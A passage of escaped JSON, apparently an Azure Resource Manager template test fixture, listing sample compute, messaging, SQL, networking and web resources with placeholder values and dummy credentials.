\"123\",\n          \"StorageAccount\": \"ba\"\n        },\n        \"protectedSettings\": {\n          \"storageAccountName\": \"storage\",\n          \"storageAccountKey\": \"ljsfa;lj\",\n          \"storageAccountEndPoint\": \"endpoint\"\n        }\n      }\n    },\n    {\n      \"name\": \"Test Name\",\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"location\": \"Canada East\",\n      \"tags\": {},\n      \"apiVersion\": \"2015-06-15\",\n      \"properties\": {\n        \"publisher\": \"Microsoft.Azure.RecoveryServices\",\n        \"type\": \"VMSnapshot\",\n        \"typeHandlerVersion\": \"Test Type Handler Version\",\n        \"autoUpgradeMinorVersion\": true,\n        \"settings\": {\n          \"locale\": \"test locale\",\n          \"taskId\": \"test id\",\n          \"commandToExecute\": \"test cmd\",\n          \"objectStr\": \"test objstr\",\n          \"logsBlobUri\": \"test log uri\",\n          \"statusBlobUri\": \"test blob uri\",\n          \"commandStartTimeUTCTicks\": \"test cmd starttime\",\n          \"vmType\": \"microsoft.compute/virtualmachines\"\n        }\n      }\n    },\n    {\n      \"name\": \"Test Name\",\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"location\": \"Canada East\",\n      \"tags\": {},\n      \"apiVersion\": \"2015-06-15\",\n      \"properties\": {\n        \"publisher\": \"Microsoft.Azure.NetworkWatcher\",\n        \"type\": \"NetworkWatcherAgentWindows\",\n        \"typeHandlerVersion\": \"123\",\n        \"autoUpgradeMinorVersion\": false,\n        \"settings\": {\n          \"absURL\": \"abc\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"name\": \"extension1\",\n      \"location\": \"West US\",\n      \"properties\": {\n        \"publisher\": \"Microsoft.Azure.Diagnostics\",\n        \"type\": \"IaaSDiagnostics\",\n        \"typeHandlerVersion\": \"12\",\n        \"autoUpgradeMinorVersion\": true,\n        \"settings\": {\n          \"xmlCfg\": \"123\",\n          \"StorageAccount\": \"ba\"\n        },\n        \"protectedSettings\": {\n          \"storageAccountName\": \"storage\",\n          \"storageAccountKey\": \"ljsfa;lj\",\n          \"storageAccountEndPoint\": \"endpoint\"\n        }\n      }\n    },\n    {\n      \"name\": \"Test Name\",\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"location\": \"Canada East\",\n      \"tags\": {},\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"properties\": {\n        \"publisher\": \"Microsoft.Azure.RecoveryServices\",\n        \"type\": \"VMSnapshot\",\n        \"typeHandlerVersion\": \"Test Type Handler Version\",\n        \"autoUpgradeMinorVersion\": true,\n        \"settings\": {\n          \"locale\": \"test locale\",\n          \"taskId\": \"test id\",\n          \"commandToExecute\": \"test cmd\",\n          \"objectStr\": \"test objstr\",\n          \"logsBlobUri\": \"test log uri\",\n          \"statusBlobUri\": \"test blob uri\",\n          \"commandStartTimeUTCTicks\": \"test cmd starttime\",\n          \"vmType\": \"microsoft.compute/virtualmachines\"\n        }\n      }\n    },\n    {\n      \"name\": \"Test Name\",\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"location\": \"Canada East\",\n      \"tags\": {},\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"properties\": {\n        \"publisher\": \"Microsoft.Azure.NetworkWatcher\",\n        \"type\": \"NetworkWatcherAgentWindows\",\n        \"typeHandlerVersion\": \"123\",\n        \"autoUpgradeMinorVersion\": false\n      }\n    },\n    {\n      \"name\": \"Test Name\",\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"apiVersion\": \"2018-06-01\",\n      \"location\": \"West Us\",\n      \"properties\": {\n        \"publisher\": \"Microsoft.Compute\",\n        \"type\": \"CustomScriptExtension\",\n        \"typeHandlerVersion\": \"Test Type Handler Version\",\n        \"autoUpgradeMinorVersion\": true,\n        \"settings\": {\n          \"fileUris\": [\n            \"test file uri\",\n            \"test file uri 2\"\n          ],\n          \"commandToExecute\": \"ls\"\n        }\n      }\n    },\n    {\n      \"name\": \"Test Name\",\n      \"location\": \"West Us\",\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets/extensions\",\n      \"apiVersion\": \"2018-06-01\",\n      \"properties\": {\n        \"publisher\": \"Microsoft.OSTCExtensions\",\n        \"type\": \"CustomScriptForLinux\",\n        \"typeHandlerVersion\": \"Test Type Handler Version\",\n        \"autoUpgradeMinorVersion\": true,\n        \"settings\": {\n          \"fileUris\": [\n            \"test file uri\",\n            \"test file uri 2\"\n          ],\n          \"commandToExecute\": \"ls\"\n        },\n        \"protectedSettings\": {\n          \"commandToExecute\": \"ls\",\n          \"storageAccountName\": \"Test Storage Account Name\",\n          \"storageAccountKey\": \"Test Storage Account Key\",\n          \"storageAccountEndPoint\": \"Test Storage Account End Point\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2015-06-15\",\n      \"location\": \"Canada East\",\n      \"name\": \"virtualmachine\",\n      \"properties\": {\n        \"hardwareProfile\": \"[parameters('a')]\",\n        \"storageProfile\": \"[parameters('b')]\",\n        \"networkProfile\": \"[parameters('c')]\",\n        \"diagnosticsProfile\": {\n          \"bootDiagnostics\": {\n            \"enabled\": false,\n            \"storageUri\": \"uri\"\n          }\n        }\n      },\n      \"resources\": [\n        {\n          \"type\": \"extensions\",\n          \"apiVersion\": \"2015-06-15\",\n          \"name\": \"extension1\",\n          \"location\": \"West US 2\",\n          \"properties\": {\n            \"publisher\": \"Microsoft.Azure.Diagnostics\",\n            \"type\": \"IaaSDiagnostics\",\n            \"typeHandlerVersion\": \"12\",\n            \"autoUpgradeMinorVersion\": true,\n            \"settings\": {\n              \"xmlCfg\": \"123\",\n              \"StorageAccount\": \"ba\"\n            },\n            \"protectedSettings\": {\n              \"storageAccountName\": \"storage\",\n              \"storageAccountKey\": \"ljsfa;lj\",\n              \"storageAccountEndPoint\": \"endpoint\"\n            }\n          }\n        },\n        {\n          \"type\": \"extensions\",\n          \"apiVersion\": \"2015-06-15\",\n          \"name\": \"myextension\",\n          \"location\": \"West Central US\",\n          \"properties\": {\n            \"publisher\": \"publisher\",\n            \"settings\": {},\n            \"type\": \"mytype\",\n            \"typeHandlerVersion\": \"123\",\n            \"autoUpgradeMinorVersion\": \"abc\"\n          }\n        },\n        {\n          \"name\": \"Test Name\",\n          \"type\": \"extensions\",\n          \"location\": \"Australia East\",\n          \"apiVersion\": \"2015-06-15\",\n          \"properties\": {\n            \"publisher\": \"Microsoft.Azure.RecoveryServices\",\n            \"type\": \"VMSnapshotLinux\",\n            \"typeHandlerVersion\": \"Test Type Handler Version\",\n            \"autoUpgradeMinorVersion\": true,\n            \"settings\": {\n              \"locale\": \"test locale\",\n              \"taskId\": \"test id\",\n              \"commandToExecute\": \"test cmd\",\n              \"objectStr\": \"test objstr\",\n              \"logsBlobUri\": \"test log uri\",\n              \"statusBlobUri\": \"test blob uri\",\n              \"commandStartTimeUTCTicks\": \"test cmd starttime\",\n              \"vmType\": \"microsoft.compute/virtualmachines\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"location\": \"Canada East\",\n      \"name\": \"virtualmachine\",\n      \"properties\": {\n        \"hardwareProfile\": \"[parameters('a')]\",\n        \"storageProfile\": \"[parameters('b')]\",\n        \"networkProfile\": \"[parameters('c')]\",\n        \"osProfile\": {\n          \"fdsfdsfs\": \"123\"\n        }\n      },\n      \"resources\": [\n        {\n          \"type\": \"extensions\",\n          \"apiVersion\": \"2016-04-30-preview\",\n          \"name\": \"extension1\",\n          \"location\": \"West US 2\",\n          \"properties\": {\n            \"publisher\": \"Microsoft.Azure.Diagnostics\",\n            \"type\": \"IaaSDiagnostics\",\n            \"typeHandlerVersion\": \"12\",\n            \"autoUpgradeMinorVersion\": true,\n            \"settings\": {\n              \"xmlCfg\": \"123\",\n              \"StorageAccount\": \"ba\"\n            },\n            \"protectedSettings\": {\n              \"storageAccountName\": \"storage\",\n              \"storageAccountKey\": \"ljsfa;lj\",\n              \"storageAccountEndPoint\": \"endpoint\"\n            }\n          }\n        },\n        {\n          \"type\": \"extensions\",\n          \"apiVersion\": \"2016-04-30-preview\",\n          \"name\": \"myextension\",\n          \"location\": \"West Central US\",\n          \"properties\": {\n            \"publisher\": \"publisher\",\n            \"settings\": {},\n            \"type\": \"mytype\",\n            \"typeHandlerVersion\": \"123\",\n            \"autoUpgradeMinorVersion\": \"abc\"\n          }\n        },\n        {\n          \"name\": \"Test Name\",\n          \"type\": \"extensions\",\n          \"location\": \"Australia East\",\n          \"apiVersion\": \"2016-04-30-preview\",\n          \"properties\": {\n            \"publisher\": \"Microsoft.Azure.RecoveryServices\",\n            \"type\": \"VMSnapshotLinux\",\n            \"typeHandlerVersion\": \"Test Type Handler Version\",\n            \"autoUpgradeMinorVersion\": true,\n            \"settings\": {\n              \"locale\": \"test locale\",\n              \"taskId\": \"test id\",\n              \"commandToExecute\": \"test cmd\",\n              \"objectStr\": \"test objstr\",\n              \"logsBlobUri\": \"test log uri\",\n              \"statusBlobUri\": \"test blob uri\",\n              \"commandStartTimeUTCTicks\": \"test cmd starttime\",\n              \"vmType\": \"microsoft.compute/virtualmachines\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2018-06-01\",\n      \"location\": \"Canada East\",\n      \"name\": \"virtualmachine\",\n      \"properties\": {\n        \"hardwareProfile\": \"[parameters('a')]\",\n        \"storageProfile\": \"[parameters('b')]\",\n        \"networkProfile\": \"[parameters('c')]\",\n        \"osProfile\": {\n          \"fdsfdsfs\": \"123\"\n        }\n      },\n      \"resources\": [\n        {\n          \"type\": \"extensions\",\n          \"apiVersion\": \"2018-06-01\",\n          \"name\": \"extension1\",\n          \"location\": \"West US 2\",\n          \"properties\": {\n            \"publisher\": \"Microsoft.Azure.Diagnostics\",\n            \"type\": \"IaaSDiagnostics\",\n            \"typeHandlerVersion\": \"12\",\n            \"autoUpgradeMinorVersion\": true,\n            \"settings\": {\n              \"xmlCfg\": \"123\",\n              \"StorageAccount\": \"ba\"\n            },\n            \"protectedSettings\": {\n              \"storageAccountName\": \"storage\",\n              \"storageAccountKey\": \"ljsfa;lj\",\n              \"storageAccountEndPoint\": \"endpoint\"\n            }\n          }\n        },\n        {\n          \"type\": \"extensions\",\n          \"apiVersion\": \"2018-06-01\",\n          \"name\": \"myextension\",\n          \"location\": \"West Central US\",\n          \"properties\": {\n            \"publisher\": \"publisher\",\n            \"settings\": {},\n            \"type\": \"mytype\",\n            \"typeHandlerVersion\": \"123\",\n            \"autoUpgradeMinorVersion\": \"abc\"\n          }\n        },\n        {\n          \"name\": \"Test Name\",\n          \"type\": \"extensions\",\n          \"location\": \"Australia East\",\n          \"apiVersion\": \"2018-06-01\",\n          \"properties\": {\n            \"publisher\": \"Microsoft.Azure.RecoveryServices\",\n            \"type\": \"VMSnapshotLinux\",\n            \"typeHandlerVersion\": \"Test Type Handler Version\",\n            \"autoUpgradeMinorVersion\": true,\n            \"settings\": {\n              \"locale\": \"test locale\",\n              \"taskId\": \"test id\",\n              \"commandToExecute\": \"test cmd\",\n              \"objectStr\": \"test objstr\",\n              \"logsBlobUri\": \"test log uri\",\n              \"statusBlobUri\": \"test blob uri\",\n              \"commandStartTimeUTCTicks\": \"test cmd starttime\",\n              \"vmType\": \"microsoft.compute/virtualmachines\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Compute/snapshots\",\n      \"apiVersion\": \"2017-03-30\",\n      \"name\": \"sets\",\n      \"location\": \"West Central US\",\n      \"properties\": {\n        \"creationData\": {\n          \"createOption\": \"Empty\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2017-03-30\",\n      \"name\": \"virtualMachines\",\n      \"location\": \"West Central US\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"VirtualMachineProperties\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"virtualMachines\",\n      \"location\": \"West Central US\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"VirtualMachineProperties\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/images\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"images\",\n      \"location\": \"West Central US\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"additionalProperties\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/availabilitySets\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"sets\",\n      \"location\": \"West Central US\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"additionalProperties\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"sets\",\n      \"location\": \"West Central US\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"additionalProperties\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets/extensions\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"sets\",\n      \"location\": \"West Central US\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"publisher\": \"samplePublisher\",\n        \"type\": \"virtualMachineScaleSets/extensions\",\n        \"typeHandlerVersion\": \"123\",\n        \"settings\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/availabilitySets\",\n      \"apiVersion\": \"2017-03-30\",\n      \"name\": \"sets\",\n      \"location\": \"West Central US\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"additionalProperties\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"sets\",\n      \"location\": \"West Central US\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"publisher\": \"samplePublisher\",\n        \"type\": \"virtualMachines/extensions\",\n        \"typeHandlerVersion\": \"123\",\n        \"settings\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"sets\",\n      \"location\": \"Japan East\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"virtualMachineProfile\": {\n          \"networkProfile\": {\n            \"networkInterfaceConfigurations\": [\n              {\n                \"id\": \"123\",\n                \"name\": \"name\",\n                \"properties\": {\n                  \"ipConfigurations\": [\n                    {\n                      \"name\": \"123\"\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/disks\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"name\": \"mydisks\",\n      \"location\": \"West US\",\n      \"properties\": {\n        \"creationData\": {\n          \"createOption\": \"Copy\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/images\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"name\": \"myimages\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"sourceVirtualMachine\": {\n          \"id\": \"id11\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/snapshots\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"name\": \"myname\",\n      \"location\": \"East US 2\",\n      \"properties\": {\n        \"creationData\": {\n          \"createOption\": \"Copy\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/availabilitySets\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"name\": \"sets\",\n      \"location\": \"Japan West\",\n      \"properties\": {\n        \"managed\": true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"name\": \"sets\",\n      \"location\": \"Japan East\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"virtualMachineProfile\": {\n          \"networkProfile\": {\n            \"networkInterfaceConfigurations\": [\n              {\n                \"id\": \"123\",\n                \"name\": \"name\",\n                \"properties\": {\n                  \"ipConfigurations\": [\n                    {\n                      \"name\": \"123\"\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.MachineLearning/commitmentPlans\",\n      \"apiVersion\": \"2016-05-01-preview\",\n      \"name\": \"myplans\",\n      \"location\": \"West Central US\",\n      \"sku\": {\n        \"name\": \"mysku\",\n        \"tier\": \"12\",\n        \"capacity\": 12\n      }\n    },\n    {\n      \"type\": \"Microsoft.CognitiveServices/accounts\",\n      \"apiVersion\": \"2016-02-01-preview\",\n      \"name\": \"myaccounts\",\n      \"sku\": \"[parameters('sku')]\",\n      \"kind\": \"Face\",\n      \"location\": \"Canada Central\",\n      \"properties\": {\n        \"prop1\": \"val1\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.EventHub/namespaces\",\n      \"apiVersion\": \"2015-08-01\",\n      \"name\": \"eventhubNamespaces\",\n      \"location\": \"Central US\",\n      \"sku\": {\n        \"name\": \"Basic\",\n        \"tier\": \"Basic\"\n      },\n      \"properties\": {\n        \"status\": \"Active\",\n        \"enabled\": false\n      },\n      \"resources\": [\n        {\n          \"type\": \"eventhubs\",\n          \"apiVersion\": \"2015-08-01\",\n          \"location\": \"Canada East\",\n          \"name\": \"23\",\n          \"properties\": {\n            \"status\": \"Creating\"\n          }\n        },\n        {\n          \"type\": \"AuthorizationRules\",\n          \"apiVersion\": \"2015-08-01\",\n          \"location\": \"Canada East\",\n          \"name\": \"234\",\n          \"properties\": {\n            \"rights\": [\n              \"Manage\"\n            ]\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.EventHub/namespaces/AuthorizationRules\",\n      \"apiVersion\": \"2015-08-01\",\n      \"name\": \"rules\",\n      \"location\": \"East Asia\",\n      \"properties\": {\n        \"rights\": [\n          \"Listen\",\n          \"Manage\"\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.ServiceBus/namespaces\",\n      \"apiVersion\": \"2015-08-01\",\n      \"location\": \"Canada Central\",\n      \"name\": \"fds123\",\n      \"sku\": {\n        \"tier\": \"Premium\"\n      },\n      \"properties\": {\n        \"status\": \"Creating\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"queues\",\n          \"apiVersion\": \"2015-08-01\",\n          \"name\": \"234\",\n          \"location\": \"Canada Central\",\n          \"properties\": {},\n          \"resources\": [\n            {\n              \"type\": \"authorizationRules\",\n              \"apiVersion\": \"2015-08-01\",\n              \"location\": \"West US\",\n              \"name\": \"jlk\",\n              \"properties\": {\n                \"rights\": [\n                  \"Listen\"\n                ]\n              }\n            }\n          ]\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.ServiceBus/namespaces/topics/subscriptions\",\n      \"apiVersion\": \"2015-08-01\",\n      \"name\": \"123\",\n      \"location\": \"Central US\",\n      \"properties\": {\n        \"requiresSession\": true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Resources/deployments\",\n      \"apiVersion\": \"2016-09-01\",\n      \"name\": \"[parameters('a')]\",\n      \"properties\": {\n        \"template\": {},\n        \"parameters\": {},\n        \"mode\": \"Complete\"\n      }\n    },\n    {\n      \"apiVersion\": \"2016-09-01\",\n      \"name\": \"nestedTemplate\",\n      \"type\": \"Microsoft.Resources/deployments\",\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"template\": {\n          \"$schema\": \"http://ryanstorage.blob.core.windows.net/fwlink/schemas/2015-01-01/deploymentTemplate.json#\",\n          \"contentVersion\": \"1.0.0.0\",\n          \"parameters\": {},\n          \"resources\": [],\n          \"variables\": {},\n          \"outputs\": {\n            \"result\": {\n              \"value\": \"Hello World\",\n              \"type\": \"string\"\n            }\n          }\n        }\n      }\n    },\n    {\n      \"apiVersion\": \"2017-05-10\",\n      \"name\": \"nestedTemplate\",\n      \"type\": \"Microsoft.Resources/deployments\",\n      \"subscriptionId\": \"aa\",\n      \"resourceGroup\": \"myRG\",\n      \"copy\": {\n        \"name\": \"copy1\",\n        \"count\": 12,\n        \"mode\": \"Serial\",\n        \"batchSize\": \"[parameters('batchSize')]\"\n      },\n      \"condition\": true,\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"template\": {\n          \"$schema\": \"http://ryanstorage.blob.core.windows.net/fwlink/schemas/2015-01-01/deploymentTemplate.json#\",\n          \"contentVersion\": \"1.0.0.0\",\n          \"parameters\": {},\n          \"resources\": [],\n          \"variables\": {},\n          \"outputs\": {\n            \"result\": {\n              \"value\": \"Hello World\",\n              \"type\": \"string\"\n            }\n          }\n        }\n      }\n    },\n    {\n      \"name\": \"deploymentsSample\",\n      \"apiVersion\": \"2016-09-01\",\n      \"type\": \"Microsoft.Resources/deployments\",\n      \"mode\": \"Incremental\",\n      \"properties\": {\n        \"mode\": \"Incremental\"\n      }\n    },\n    {\n      \"apiVersion\": \"2018-05-01\",\n      \"name\": \"resourceGroupsSample\",\n      \"type\": \"Microsoft.Network/dnsZones\",\n      \"location\": \"West US\",\n      \"properties\": {\n        \"level\": \"\",\n        \"ResourceGroupProperties\": {}\n      }\n    },\n    {\n      \"apiVersion\": \"2016-09-01\",\n      \"name\": \"validLock\",\n      \"type\": \"Microsoft.ServiceFabric/clusters\",\n      \"location\": \"West US\",\n      \"properties\": {\n        \"managementEndpoint\": \"\",\n        \"nodeTypes\": [],\n        \"level\": \"CanNotDelete\",\n        \"notes\": \"test note\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.ApiManagement/service\",\n      \"name\": \"myservice\",\n      \"apiVersion\": \"2016-07-07\",\n      \"location\": \"Canada East\",\n      \"sku\": {\n        \"name\": \"Standard\",\n        \"capacity\": 1\n      },\n      \"properties\": {\n        \"publisherName\": \"admin@live.com\",\n        \"publisherEmail\": \"abc\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.AnalysisServices/servers\",\n      \"apiVersion\": \"2016-05-16\",\n      \"name\": \"myservers\",\n      \"location\": \"West US\",\n      \"sku\": {\n        \"name\": \"S1\"\n      },\n      \"properties\": {\n        \"asAdministrators\": {\n          \"members\": [\n            \"abc\"\n          ]\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.ServiceFabric/clusters\",\n      \"apiVersion\": \"2016-09-01\",\n      \"name\": \"Microsoft.ServiceFabric/clusters\",\n      \"location\": \"West US\",\n      \"properties\": {\n        \"nodeTypes\": [\n          {\n            \"vmInstanceCount\": 12,\n            \"name\": \"name\",\n            \"clientConnectionEndpointPort\": 443,\n            \"httpGatewayEndpointPort\": 443,\n            \"isPrimary\": true\n          }\n        ],\n        \"managementEndpoint\": \"https://abc.com\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.MachineLearning/webServices\",\n      \"apiVersion\": \"2016-05-01-preview\",\n      \"name\": \"myservice\",\n      \"location\": \"East Asia\",\n      \"properties\": {\n        \"packageType\": \"Graph\",\n        \"title\": \"abc\",\n        \"package\": {\n          \"nodes\": {\n            \"prop1\": {\n              \"assetId\": \"123\"\n            }\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Search/searchServices\",\n      \"apiVersion\": \"2015-08-19\",\n      \"location\": \"Central US\",\n      \"sku\": {\n        \"name\": \"standard\"\n      },\n      \"name\": \"abc\",\n      \"properties\": {\n        \"hostingMode\": \"highDensity\",\n        \"replicaCount\": 10,\n        \"partitionCount\": 12,\n        \"location\": \"West US\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.ContainerRegistry/registries\",\n      \"apiVersion\": \"2016-06-27-preview\",\n      \"name\": \"name\",\n      \"location\": \"Canada East\",\n      \"properties\": {\n        \"storageAccount\": {\n          \"name\": \"abc\",\n          \"accessKey\": \"key\"\n        },\n        \"adminUserEnabled\": true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/trafficManagerProfiles\",\n      \"apiVersion\": \"2017-03-01\",\n      \"name\": \"profile1\",\n      \"location\": \"global\",\n      \"properties\": {\n        \"profileStatus\": \"Enabled\",\n        \"trafficRoutingMethod\": \"Geographic\",\n        \"dnsConfig\": {\n          \"relativeName\": \"name1\",\n          \"ttl\": 120\n        },\n        \"monitorConfig\": {\n          \"protocol\": \"HTTPS\",\n          \"port\": 443,\n          \"path\": \"/healthprobe\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Insights/actionGroups\",\n      \"apiVersion\": \"2017-03-01-preview\",\n      \"name\": \"ag1\",\n      \"location\": \"UK West\",\n      \"properties\": {\n        \"enabled\": true,\n        \"groupShortName\": \"name1\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Sql/servers\",\n      \"apiVersion\": \"2014-04-01\",\n      \"name\": \"server1\",\n      \"location\": \"Japan West\",\n      \"properties\": {\n        \"administratorLogin\": \"aaa\",\n        \"administratorLoginPassword\": \"password\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"administrators\",\n          \"apiVersion\": \"2014-04-01\",\n          \"name\": \"activeDirectory\",\n          \"properties\": {\n            \"administratorType\": \"ActiveDirectory\",\n            \"login\": \"myuser\",\n            \"sid\": \"00000000-1111-2222-3333-444444444444\",\n            \"tenantId\": \"00000000-1111-2222-3333-444444444444\"\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Sql/servers\",\n      \"apiVersion\": \"2014-04-01\",\n      \"name\": \"server1\",\n      \"location\": \"Japan West\",\n      \"properties\": {\n        \"administratorLogin\": \"aaa\",\n        \"administratorLoginPassword\": \"password\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"databases\",\n          \"apiVersion\": \"2014-04-01\",\n          \"name\": \"admin1\",\n          \"location\": \"west us\",\n          \"properties\": {}\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Sql/servers\",\n      \"apiVersion\": \"2015-05-01-preview\",\n      \"name\": \"sql\",\n      \"location\": \"west us\",\n      \"properties\": {\n        \"administratorLogin\": \"mylogin\",\n        \"administratorLoginPassword\": \"mypa$$w0rd\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/routeTables\",\n      \"apiVersion\": \"2017-03-01\",\n      \"name\": \"table\",\n      \"location\": \"West US\",\n      \"properties\": {\n        \"routes\": [\n          {\n            \"name\": \"name1\",\n            \"properties\": {\n              \"addressPrefix\": \"aaa\",\n              \"nextHopType\": \"Internet\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"apiVersion\": \"2016-06-01\",\n      \"name\": \"ip1\",\n      \"location\": \"Brazil South\",\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Solutions/appliances\",\n      \"name\": \"[parameters('dnsLabelPrefix')]\",\n      \"apiVersion\": \"2016-09-01-preview\",\n      \"kind\": \"ServiceCatalog\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"applianceDefinitionId\": \"/subscriptions/d05f4e58-b80d-4ebd-a6d7-c9cac216cd39/resourceGroups/EuapAppDefs/providers/Microsoft.Solutions/applianceDefinitions/SinlgeVMBuildDemo\",\n        \"managedResourceGroupId\": \"[concat('/subscriptions/', subscription().subscriptionId, '/resourceGroups/', resourceGroup().name, parameters('dnsLabelPrefix'), '-', uniqueString(concat(resourceGroup().name, parameters('dnsLabelPrefix'))))]\",\n        \"parameters\": {\n          \"adminUsername\": {\n            \"value\": \"[parameters('adminUsername')]\"\n          },\n          \"adminPassword\": {\n            \"value\": \"[parameters('adminPassword')]\"\n          },\n          \"dnsLabelPrefix\": {\n            \"value\": \"[parameters('dnsLabelPrefix')]\"\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Solutions/applianceDefinitions\",\n      \"name\": \"[parameters('dnsLabelPrefix')]\",\n      \"apiVersion\": \"2016-09-01-preview\",\n      \"location\": \"eastus2euap\",\n      \"properties\": {\n        \"lockLevel\": \"None\",\n        \"displayName\": \"NirajGSingleVMBuildDemo\",\n        \"description\": \"NirajGSingleVMBuildDemo\",\n        \"authorizations\": [\n          {\n            \"principalId\": \"05250873-b7a8-4392-b112-cf3c65d72ee1\",\n            \"roleDefinitionId\": \"8e3af657-a8ff-443c-a75c-2fe8c4bcb635\"\n          }\n        ],\n        \"packageFileUri\": \"https://nirajgappliancepackages.blob.core.windows.net/singlestorageaccount/windowsManagedApp.zip\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/trafficManagerProfiles\",\n      \"apiVersion\": \"2017-05-01\",\n      \"location\": \"global\",\n      \"name\": \"abc\",\n      \"properties\": {\n        \"trafficRoutingMethod\": \"Geographic\",\n        \"dnsConfig\": {\n          \"relativeName\": \"name\",\n          \"ttl\": 123\n        },\n        \"monitorConfig\": {\n          \"protocol\": \"HTTPS\",\n          \"port\": 443\n        }\n      }\n    },\n    {\n      \"apiVersion\": \"2016-08-01\",\n      \"name\": \"validSite\",\n      \"type\": \"Microsoft.Web/sites\",\n      \"properties\": {\n        \"enabled\": true,\n        \"reserved\": false,\n        \"siteConfig\": {\n          \"phpVersion\": \"v5.6\",\n          \"httpLoggingEnabled\": true,\n          \"appSettings\": [\n            {\n              \"name\": \"appSetting1\",\n              \"vallue\": \"appSettingValue1\"\n            },\n            {\n              \"name\": \"appSetting2\",\n              \"vallue\": \"appSettingValue2\"\n            }\n          ],\n          